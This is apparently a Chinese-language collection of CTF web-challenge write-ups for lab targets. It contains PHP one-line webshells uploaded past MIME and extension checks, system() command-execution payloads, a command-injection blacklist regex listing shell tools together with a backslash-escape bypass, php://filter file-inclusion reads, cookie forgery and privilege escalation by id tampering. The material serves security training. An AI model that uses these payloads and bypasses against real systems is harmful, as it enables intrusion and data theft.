狗黑子的eval

查看源代码并没有什么发现。所以先进行目录扫描看看

发现flag.php和shell.php两个隐藏文件,分别访问看看
访问flag.php发现"tips:gouheizigouheizi=2gouheizi //不要勾八"这段提示,但是有点不太懂

查看源代码发现"payload.php 狗黑子数数喜欢从1开始,不喜欢0",通过这段话我们可以访问一下payload.php看看

发现一段代码,并有一段提示gou=a,gougou=b;

我们根据提示gou=a,gougou=b; 可以知道这不是普通注释,而是 "变量别名映射": 对应字母表的 a,gougou 对应 b 推导规律:gou+数字 对应字母 1gou=a、2gou=b、3gou=c
所以$gou1="12gou"对应的字母为l
$gou5="16gou"对应的字母为p
$gou4="5gou"对应的字母为e
$gou6="gou"对应的字母为a
$gou2="22gou"对应的字母是v
$gou3="15gou"对应的字母为o
$gou7="c3Rnbw=="解码后的结果为stgo
gou4+gou2+gou6+gou1+gou5+gou3 → e+v+a+l+p+o → evalpo
$gou8[34] → 字符5
$gou8[10] → 字符7
$gou8[15] → 字符8
$gou8[105] → 字符0
$gou8[51] → 字符3
gou14=gou12 → 字符8
拼接 gou11+gou13+gou17+gou12+gou10+gou14 → 3+5+7+8+0+8 → 357808
$gou8的原始内容是Unicode 编码的中文,解码后是:经过抖音快手 我是一个菜鸡白痴,就是玩不懂 Base64啊哈哈哈 Base64 晕了我我头疼死了。
白痴" 的拼音是baichi,结合 CTF 常见的谐音 / 错别字套路,baizi→ 结合gou(狗)→ goubaizi,这就是最终输出evalpostgoubaizi的核心
<?php
highlight_file(__FILE__);
//gou=a,gougou=b;
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
$gou7="c3Rnbw==";
$gou8='5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s';
$gou13=$gou8{34};$gou17=$gou8{10};$gou12=$gou8{15};$gou10=$gou8{105};$gou14=$gou12;$gou11=$gou8{51};
$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
?>
<?php
highlight_file(__FILE__);
// 变量映射表:
// gou1=12gou → 12→l | gou2=22gou→22→v | gou3=15gou→15→o
// gou4=5gou→5→e | gou5=16gou→16→p | gou6=gou→a
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
// Base64解码:c3Rnbw== → stgo
$gou7="c3Rnbw==";
// 修正后的gou8(开头加a,适配字符下标)
$gou8='a5pys572R6aG15piv5LiA5Liq5Zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzZTY0IOi9rOaIkOaIkOWtl+espuS4s';
// PHP7.4+兼容:{}改为[],截取指定位置字符
$gou13=$gou8[34]; // 5
$gou17=$gou8[10]; // 7
$gou12=$gou8[15]; // 8
$gou10=$gou8[105]; // 0
$gou14=$gou12; // 8
$gou11=$gou8[51]; // 3
$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
$a=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3; // e+v+a+l+p+o = evalpo
$b=$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; // 3+5+7+8+0+8 = 357808
$dec_gou7 = base64_decode($gou7); // stgo
// 最终拼接
echo "evalpostgo".$b; // evalpostgo357808
echo "<br>evalpostgoubaizi";
?>
最终拼接出来的evalpostgoubaizi这段像一句话木马eval post goubaizi
直接进行命令执行

但是执行后无回显,所以使用重定向输出
post:goubaizi=system("ls / >index.php");

然后访问index.php,会发现

没有发现存放flag的文件,使用:find / -name "*flag*" 2>/dev/null来查找flag在哪里
输入 goubaizi=system("find / -name '*flag*' 2>/dev/null >index.php");
发现flag在 /etc/flag

所以查看flag
输入 goubaizi=system("cat /etc/flag >index.php");

flag{31b657d6f6cb8a63b8d06e1682d526a0}
狗黑子的登录
打开题目便是一个登录页面,尝试弱密码发现是不可以的

使用dirsearch来进行目录扫描,发现有源码泄露

我们可以使用GitHack来下载泄露的源码

index.php文件内容
<?php
session_start();
if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
header('Location: admin.php');
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_register'])) {
$registerValue = $_POST['seclients_can_register'];
// 明确处理0和1两种情况
if ($registerValue == 1) {
$_SESSION['show_register'] = true;
} elseif ($registerValue == 0) {
$_SESSION['show_register'] = false;
}
}
// 处理登录
$error = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
require 'config.php';
if (isset($users[$username]) && $users[$username] === $password) {
$_SESSION['logged_in'] = true;
$_SESSION['username'] = $username;
header('Location: admin.php');
exit;
} else {
$error = '用户名或密码不正确';
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>狗黑子的小破站</title>
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background-color: #f0f0f0;
}
.login-container {
background-color: white;
padding: 2rem;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
.form-group {
margin-bottom: 1rem;
}
label {
display: block;
margin-bottom: 0.5rem;
}
input {
width: 100%;
padding: 0.5rem;
border: 1px solid #ddd;
border-radius: 4px;
}
button {
width: 100%;
padding: 0.5rem;
background-color: #007bff;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #0056b3;
}
.error {
color: red;
margin-bottom: 1rem;
}
.register-btn {
margin-top: 1rem;
font-size: 0.8rem;
padding: 0.3rem;
background-color: #6c757d;
}
.register-btn:hover {
background-color: #5a6268;
}
</style>
</head>
<body>
<div class="login-container">
<h2>用户登录</h2>
<?php if ($error): ?>
<div class="error"><?php echo $error; ?></div>
<?php endif; ?>
<form method="post">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" id="username" name="username" required>
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" id="password" name="password" required>
</div>
<button type="submit" name="login">登录</button>
<?php if (isset($_SESSION['show_register']) && $_SESSION['show_register'] === true): ?>
<button type="button" class="register-btn" onclick="window.location.href='register.php'">注册</button>
<?php endif; ?>
</form>
</div>
</body>
</html>
admin.php文件内容
vb
`<?php
session_start();
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
header('Location: index.php');
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_upload']) && $_POST['seclients_can_upload'] == 1) {
$_SESSION['show_upload'] = true;
}
$upload_message = '';
if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$target_dir = "uploads/";
if (!file_exists($target_dir)) {
mkdir($target_dir, 0777, true);
}
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$uploadOk = true;
if ($_FILES["file"]["size"] < 200 * 1024) {
$upload_message = "文件太小了。";
$uploadOk = false;
}
$image_types = array('image/jpeg', 'image/png', 'image/gif', 'image/webp');
$file_type = $_FILES["file"]["type"];
if (!in_array($file_type, $image_types)) {
$upload_message = "只允许上传图片文件 (JPG, PNG, GIF, WEBP)。";
$uploadOk = false;
}
if ($uploadOk && move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
$upload_message = "文件 " . htmlspecialchars(basename($_FILES["file"]["name"])) . " 上传成功。";
} elseif ($uploadOk) {
$upload_message = "文件上传失败。";
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>狗黑子的小破站</title>
<style>
body {
font-family: Arial, sans-serif;
padding: 2rem;
}
.upload-section {
margin-top: 2rem;
padding: 1rem;
border: 1px solid #ddd;
border-radius: 4px;
}
.message {
margin: 1rem 0;
padding: 1rem;
border-radius: 4px;
}
.success {
background-color: #d4edda;
color: #155724;
}
.error {
background-color: #f8d7da;
color: #721c24;
}
button {
padding: 0.5rem 1rem;
background-color: #dc3545;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #c82333;
}
input[type="file"] {
margin: 1rem 0;
}
input[type="submit"] {
padding: 0.5rem 1rem;
background-color: #28a745;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #218838;
}
</style>
</head>
<body>
<h1>恭喜进来<?php echo htmlspecialchars($_SESSION['username']); ?>!</h1>
<p><a href="logout.php"><button>退出登录</button></a></p>
<?php if ($upload_message): ?>
<div class="message <?php echo strpos($upload_message, '成功') !== false ? 'success' : 'error'; ?>">
<?php echo $upload_message; ?>
</div>
<?php endif; ?>
<?php if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true): ?>
<div class="upload-section">
<h2>文件上传</h2>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<br>
<input type="submit" value="上传文件" name="upload">
</form>
</div>
<?php endif; ?>
</body>
</html>
`
在index.php中我们知道seclients_can_register 这个 POST 参数可以控制是否显示注册按钮(值为 1 显示,0 隐藏)所以我们可以先通过POST传seclients_can_register=1来开启注册,注册账号后登录。

点击注册来注册用户,注册成功后就进行登录

根据admin.php代码,知道这里可以进行文件上传,但是要通过POST传seclients_can_upload=1才能显示出来

根据源码我们知道这里只检查MIME和文件大小,代码提到文件大小如果小于200k就会返回文件太小了而上传失败,代码还提到只能上传图片文件,但是检查的是MIME

文件上传成功后就可以进行蚁剑连接

flag在根目录下的flag.txt

flag{aa1e3ea993e122de5de6e387db6c8609}
ZGZH
打开题目便是这样的页面,要求提交您的序列化用户信息

我们先将user进行一个反序列化,但是就只知道一个user类,其他的 成员变量等什么信息都不知道
所以先进行目录扫描

发现了flag文件,先进行访问
返回"还没结束呢 账号弄完了再去pass里搞个密码吧"

所以先访问pass.php页面

这时会来到安全验证中心,这里有五点要求,所以密码要满足这五点要求,最重要的是和857是弱比较
我们可以输入857.00E+0000

就会返回flag:flag{you_found_the_correct_password}
老刘的小店
打开题目便是要求只有登录成功才能进入老刘的polar牢店,但是下面也写有你说你不是老刘的粉丝那还不赶快加一个

所以,我们相加入成为粉丝
进入便是这样,可以买商品,但是这里的商品都比我现在所拥有的金币要多,根本买不了

在查看源码中发现了,我们这里有 ,添加前端验证,限制转账金额在1-9之间,这是前端验证,我们可以抓包进行修改转金额

所以重新再创建一个账号,点击转账,然后抓包

这样账户2就有了很多金币
这时我们来购买一下最贵的老刘的秘密钥匙

购买成功后,获得一个用户名和密码

用这个用户名密码来进行登录

进入了老刘的个人页面,这些都是老刘的平生简介
查看源代码发现了

if (isset($_GET['id'])) {
$id=$_GET['id'];
if(preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$id)) {
$output = '你想干什么?';
}else{
system($id);
}
}
要求通过GET传入id参数,参数的值不能有正则匹配中的内容,这里可以使用转义字符来绕过
先输入ls /发现了flag文件,进行查看一下flag文件的内容

输入?id=c\at /f\lag,就得到了flag

flag:flag{thegiftforliuge520}
Squirtle的论坛
打开便是这张页面,这里讲这里的user可以是任何人,但master只能是Squirtle

查看源代码并没有看到有用的信息,所以进行目录扫描,发现一些路径

访问/admin.php,返回无权限访问

看到无权限访问想到的是master只能是Squirtle,看看是不是伪造cookie值将master=Squirtle

进入到admin.php页面
这里可以发表帖子还可以进行文件上传,看到这个页面想到的是xss和文件上传漏洞
先看看文件上传,上传一句话木马文件。内容为:<?php @eval($_POST['cmd']);?>

上传成功,点击1.php文件查看一下,获取上传的目录

进行命令执行


flag{PolarD&N_YYDS}
狗黑子的舔狗日记

也没有什么就只有微信,朋友圈,我,我中只有退出登录可以点,源代码中也没有发现什么信息,就尝试扫描目录看看有没有什么信息

发现flag.php文件和一个压缩包文件还有源码文件
访问flag.php

就一个表白页面,看了源代码也没有什么发现
访问压缩文件


是一个密码字典
访问index.php文件

到微信界面,但是之前的微信界面的url是?page=xiaoxi.php

所以应该是 通过?page参数来访问index.php,尝试目录穿越,但是显示不支持其他操作

尝试使用伪协议来读取文件

解码

发现了flag的base64的加密

知道了flag的内容是女神的名字MD5加密的结果
也得知了女神微信号:nvshen。加上前面的密码字典和上面目录扫描的/index.php/login/
可以登录女神的微信
/index.php/login/这个路径没用,只能从我,退出登录,然后重新登录

密码是:nvshen345。登录成功

尝试了,这个页面只可以发消息
尝试发了个不想去就会名字了

名字: 柳茹烟
进行MD5加密

flag{aa1e3ea993e122de5de6e387db6c8609}
狗黑子的跳转
在index中看到这个表单是通过post传数据,而且还显示了这个按钮的id是moveBtn,所以通过POST看看

就进入到这个上传页面

我们还可以禁用JS,这样按钮就不会乱动了
上传一句话木马文件,点击选择文件发现这个是只能上传图片马
所以上传图片马文件cmd.png内容是<?php @eval($_POST['cmd']);?>
抓包,将png改为php后放行,发现上传成功,这只是一个前端检验
虽然上传成功但是没有返回路径
但是看url会发现./ghzgouheizi.php?gou=ghzgouheizi.php 这是一个文件包含,使用php://filter来读取ghzgouheizi.php的内容,发现:
<?php
if (!isset($_GET['gou'])) {
header("Location: ?gou=ghzgouheizi.php");
exit;
}
$gou = $_GET['gou'];
if (strpos($gou, '../') !== false) {
die("不允许访问上级目录!");
}
$blockProtocols = ['php://input', 'data://', 'phar://'];
foreach ($blockProtocols as $proto) {
if (strpos($gou, $proto) === 0) {
die("禁止使用危险协议!");
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowedTypes)) {
die("只允许上传图片文件!");
}
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
if (empty($ext)) {
die("文件缺少扩展名!");
}
$originalName = $file['name'];
$base64Name = base64_encode($originalName);
$md5Name = md5($base64Name);
$filename = $md5Name . '.' . $ext;
$uploadDir = './uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$uploadPath = $uploadDir . $filename;
if (move_uploaded_file($file['tmp_name'], $uploadPath)) {
echo "文件上传成功!";
} else {
die("文件上传失败!");
}
}
$currentFile = basename(__FILE__);
if ($gou !== $currentFile) {
$includePath = './' . $gou;
if (strpos($gou, 'php://filter') === 0) {
include($gou);
} elseif (is_file($includePath)) {
include($includePath);
} else {
die("包含的文件不存在或不是有效文件!");
}
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>狗黑子的小破站</title>
</head>
<body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" accept="image/*">
<button type="submit">上传</button>
</form>
</body>
</html>
这段代码的大致意思是只允许上传图片文件,(但是这个可以在进行抓包进行修改后缀名来绕过),上传的文件要先进行base64编码然后再进行MD5编码然后再带上原本的文件后缀名:facf076347701efa02f7d77e64b4f8a0.php,然后将文件放到根目录下的uploads目录下面
这样我们就直接访问 ./uploads/facf076347701efa02f7d77e64b4f8a0.php,返回空白页面,访问成功,然后就可以进行命令执行或者蚁剑连接
命令执行:


flag{06d22add0cf74c46feffe95e7f8}
蚁剑链接:


flag{06d22add0cf74c46feffe95e7f8}
polar快递

下载备忘录


使用普通账户和密码登录

进入普通用户只能看,还是要进入更高的权限,最高权限为root
退出登录,重新登录,抓包

发现id=user,垂直越权
尝试将id改为root

发现polarroot.php文件
使用root权限访问polarroot.php文件看看文件中有什么

flag{welcome_to_polarctf}